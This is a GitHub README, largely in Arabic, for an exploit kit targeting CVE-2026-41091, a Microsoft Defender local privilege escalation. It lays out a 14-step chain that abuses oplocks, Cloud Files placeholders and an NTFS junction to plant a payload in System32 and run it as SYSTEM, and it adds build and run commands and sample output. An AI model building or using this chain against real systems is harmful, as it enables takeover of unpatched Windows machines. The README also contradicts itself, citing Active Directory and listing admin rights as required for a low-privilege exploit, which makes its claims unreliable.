tc4dy/cve-2026-41091-poc-exploitCVE-2026-41091 RedSun | ثغرة LPE في Microsoft Defender. يحصل المستخدمون ذوو الامتيازات المنخفضة على NT AUTHORITY\SYSTEM 🔥 عبر Cloud Files API وحيل NTFS junction. تُجبر Defender على كتابة حمولات خبيثة إلى System32 بصلاحيات SYSTEM. ⚠️ تُستغل بنشاط في البرية. CVSS 7.8. التصحيح: Defender Engine 1.1.26040.8. 🛡️ لأغراض تعليمية فقط (PoC).
# CVE-2026-41091 - RedSun (SolarFlare) - مجموعة أدوات استغلال LPE في Microsoft Defender
[](https://isocpp.org/)
[](https://www.microsoft.com/windows)
[](LICENSE)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-41091)
[](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
## > إخلاء المسؤولية القانونية والاستخدام المسؤول
**تُقدَّم هذه الأداة لأغراض تعليمية ولاختبار الاختراق المصرَّح به فقط.**
لا يتحمل المؤلفون والمساهمون أي مسؤولية عن أي سوء استخدام أو ضرر ناتج عن هذا البرنامج. يتحمل المستخدمون وحدهم مسؤولية التأكد من حصولهم على إذن كتابي صريح من مالك الهدف قبل الاختبار. يُعد الوصول غير المصرَّح به إلى أنظمة الحاسوب غير قانوني بموجب قوانين الجرائم الإلكترونية الفيدرالية والولائية والدولية المعمول بها.
باستخدامك هذا البرنامج، فإنك توافق على:
- استخدامه فقط على الأنظمة التي تملكها أو لديك إذن صريح باختبارها.
- الامتثال لجميع القوانين المحلية والولائية والفيدرالية المعمول بها.
- عدم استخدامه في أي أنشطة خبيثة أو تدميرية أو غير قانونية.
> [!] **تحذير:** تشكّل ثغرات رفع الصلاحيات في Active Directory خطرًا كبيرًا على البنية التحتية للمؤسسات. يُحظر الاختبار غير المصرَّح به حظرًا صارمًا.
> **ثغرة تتبّع الروابط في Microsoft Defender** - رفع الصلاحيات المحلي إلى NT AUTHORITY\SYSTEM
### تُعرف الثغرة باسم "RedSun"، و"SolarFlare" هو الاسم الذي أطلقته على أداة الاستغلال الخاصة بي.
## [<] نظرة عامة
يحتوي هذا المستودع على **إثبات مفهوم (PoC) كامل وعامل** لثغرة **CVE-2026-41091**، وهي ثغرة حرجة لرفع الصلاحيات المحلي في Microsoft Defender (محرك الحماية من البرامج الضارة من Microsoft). من خلال استغلال تحليل الروابط غير السليم (CWE-59)، يمكن لمهاجم موثَّق منخفض الصلاحيات الحصول على صلاحيات **NT AUTHORITY\SYSTEM**.
تسمح الثغرة، المعروفة أيضًا باسم **"RedSun"** أو **"SolarFlare"**، للمهاجمين بخداع Microsoft Defender لكتابة ملفات عشوائية إلى مواقع نظامية محمية بصلاحيات SYSTEM باستخدام Cloud Files API (CfAPI) ونقاط وصل NTFS.
> **ملاحظة:** يتضمن هذا المستودع نسختين:
> - `basic_poc.cpp` - عرض مبسّط للخوارزمية (تعليمي)
> - `full_poc.cpp` - استغلال كامل وعامل بجميع الميزات
### [-<] الميزات الرئيسية
| الفئة | الميزة | `basic_poc.cpp` | `full_poc.cpp` |
|----------|---------|:---------------:|:--------------:|
| **الاستغلال** | رفع الصلاحيات المحلي إلى SYSTEM | `[+]` | `[+]` |
| | تكامل Cloud Files API (CfAPI) | `[-]` | `[+]` |
| | إنشاء عناصر نائبة سحابية | `[-]` | `[+]` |
| | إعادة توجيه نقطة وصل NTFS | `[~]` | `[+]` |
| | تنشيط خدمة COM | `[-]` | `[+]` |
| **التقنيات** | استغلال Batch Oplock | `[+]` | `[+]` |
| | كشف لقطة VSS | `[+]` | `[+]` |
| | محفّز EICAR | `[+]` | `[+]` |
| | نقطة إعادة تحليل NTFS (نقطة تحميل) | `[+]` | `[+]` |
| | التخلص من الملف (NtSetInformationFile) | `[-]` | `[+]` |
| | كشف معرّف جلسة الأنبوب المسمّى | `[-]` | `[+]` |
| | تشغيل جلسة وحدة التحكم (conhost.exe) | `[-]` | `[+]` |
| | WaitOnAddress / WakeByAddress | `[-]` | `[+]` |
| | التحقق من SYSTEM | `[-]` | `[+]` |
| **الهدف** | Microsoft Defender < 1.1.26040.8 | `[+]` | `[+]` |
| | Windows 10/11 | `[+]` | `[+]` |
| | Windows Server 2016 | `[+]` | `[+]` |
| | Windows Server 2019/2022 | `[+]` | `[+]` |
| | x64 فقط | `[+]` | `[+]` |
| **قابلية الاستخدام** | تسجيل منظَّم | `[~]` | `[+]` |
| | معالجة الأخطاء | `[~]` | `[+]` |
| | أسماء أدلة عشوائية | `[+]` | `[+]` |
| | تنظيف تلقائي | `[~]` | `[+]` |
| | منطق إعادة المحاولة (NtCreateFile) | `[-]` | `[+]` |
## [i] تفاصيل الثغرة
| السمة | القيمة |
|-----------|-------|
| **CVE ID** | CVE-2026-41091 |
| **CVSS Score** | 7.8 (High) |
| **CVSS Vector** | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| **Attack Vector** | Local |
| **Privileges Required** | Low |
| **User Interaction** | None |
| **Impact** | SYSTEM-level code execution |
| **CISA KEV** | [+] Yes (actively exploited in the wild) |
| **Patch Available** | Microsoft Malware Protection Engine 1.1.26040.8 |
### [c] المنتجات المتأثرة
| المنتج | الإصدارات المتأثرة | الإصدارات المُصلحة |
|---------|-------------------|----------------|
| Microsoft Malware Protection Engine | < 1.1.26040.8 | 1.1.26040.8+ |
| Microsoft Defender Antimalware Platform | < 4.18.26040.7 | 4.18.26040.7+ |
## [<\>] سلسلة الاستغلال
```
┌─────────────────────────────────────────────────────────────────────────────
│ SOLARFLARE EXPLOIT CHAIN
├─────────────────────────────────────────────────────────────────────────────
│
│ 1. Create Working Directory
│ └─> %TEMP%\SF-XXXX\
│
│ 2. Trigger Defender with EICAR
│ └─> Write reversed EICAR to bait file
│
│ 3. Wait for VSS Snapshot
│ └─> Detect Volume Shadow Copy creation
│
│ 4. Create First Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file
│
│ 5. Wait for Oplock Break
│ └─> Acquire exclusive access
│
│ 6. Rename Directory
│ └─> Move original directory to .tmp
│
│ 7. Register Cloud Sync Root
│ └─> CfRegisterSyncRoot with Cloud Files API
│
│ 8. Create Cloud Placeholder
│ └─> CfCreatePlaceholders for bait file
│
│ 9. Create Second Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder
│
│ 10. Wait for Second Oplock Break
│ └─> Acquire exclusive access
│
│ 11. Rename Cloud Directory
│ └─> Move cloud directory to .cloud.tmp
│
│ 12. Create NTFS Junction to System32
│ └─> Redirect to C:\Windows\System32
│
│ 13. Copy Payload to System32
│ └─> Copy bait file to System32 as TieringEngineService.exe
│
│ 14. Activate Service as SYSTEM
│ └─> CoCreateInstance(StorageTiersManagement)
│
└─────────────────────────────────────────────────────────────────────────────
```
## [+] التثبيت
### المتطلبات الأساسية
- Windows 10/11 أو Windows Server 2019/2022
- Visual Studio 2019/2022 مع أدوات C++
- صلاحيات إدارية (للتنفيذ)
### البناء
```bash
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit
# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
## [+] الاستخدام
### الاستغلال الكامل (تصعيد الامتيازات إلى SYSTEM)
```bash
full_poc.exe
```
### عرض توضيحي للخوارزمية الأساسية
```bash
basic_poc.exe
```
## [i] مثال على المخرجات
### مخرجات الاستغلال الكاملة
```text
CVE-2026-41091 SolarFlare PoC
===============================
by @tc4dy | CVSS 7.8
===============================
[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM
[+] SYSTEM access obtained!
```
### مخرجات PoC الأساسية
```text
CVE-2026-41091 Basic PoC
========================================
Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe
[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.
```
## [<>] تعليمات البناء
### استخدام Visual Studio
1. افتح Developer Command Prompt for VS 2022
2. انتقل إلى دليل الاستغلال
3. نفّذ:
```batch
# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
### استخدام CMake
```cmake
cmake_minimum_required(VERSION 3.10)
project(SolarFlare)
set(CMAKE_CXX_STANDARD 17)
add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)
add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)
```
## [!] المتطلبات والقيود
| المتطلب | التفاصيل |
|-------------|---------|
| **نظام التشغيل** | Windows 10/11، Server 2019/2022 |
| **الصلاحيات** | إدارية (للتنفيذ) |
| **Defender** | يجب أن يكون Microsoft Defender مُفعّلًا |
| **الإنترنت** | مطلوب لاكتشاف لقطة VSS |
| **التصحيح** | يعمل فقط على الأنظمة غير المُصحّحة |
| **المعمارية** | x64 فقط |
## ثغرات ذات صلة
اطّلع على مستودعات الثغرات الأخرى الخاصة بي:
- [CVE-2026-24061-PoC-Exploit](https://github.com/tc4dy/CVE-2026-24061-PoC-Exploit) - تجاوز المصادقة في GNU inetutils-telnetd
- [CVE-2026-41940-PoC-Exploit](https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit) - استغلال تجاوز المصادقة في cPanel/WHM
- [CVE-2026-0073-PoC-Exploit](https://github.com/tc4dy/CVE-2026-0073-PoC-Exploit) - تجاوز المصادقة في تصحيح ADB اللاسلكي على Android